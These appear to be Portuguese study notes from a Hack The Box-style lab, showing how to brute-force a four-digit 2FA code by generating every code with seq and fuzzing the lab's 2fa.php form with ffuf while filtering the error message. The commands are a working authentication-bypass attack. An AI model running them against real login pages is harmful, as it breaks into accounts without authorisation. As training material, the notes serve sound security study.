# Brute-Forcing 2FA Codes

* Gerar uma lista de palavras contendo todos os números de 4 dígitos de `0000`para `9999`assim:

```shell-session
seq -w 0 9999 > tokens.txt
```

* Depois, podemos usar o seguinte comando para forçar brutamente o TOTP correto, filtrando as respostas que contêm a `Invalid 2FA Code`mensagem de erro:

```shell-session
ffuf -w ./tokens.txt -u http://bf_2fa.htb/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=fpfcm5b8dh1ibfa7idg0he7l93" -d "otp=FUZZ" -fr "Invalid 2FA Code"
```

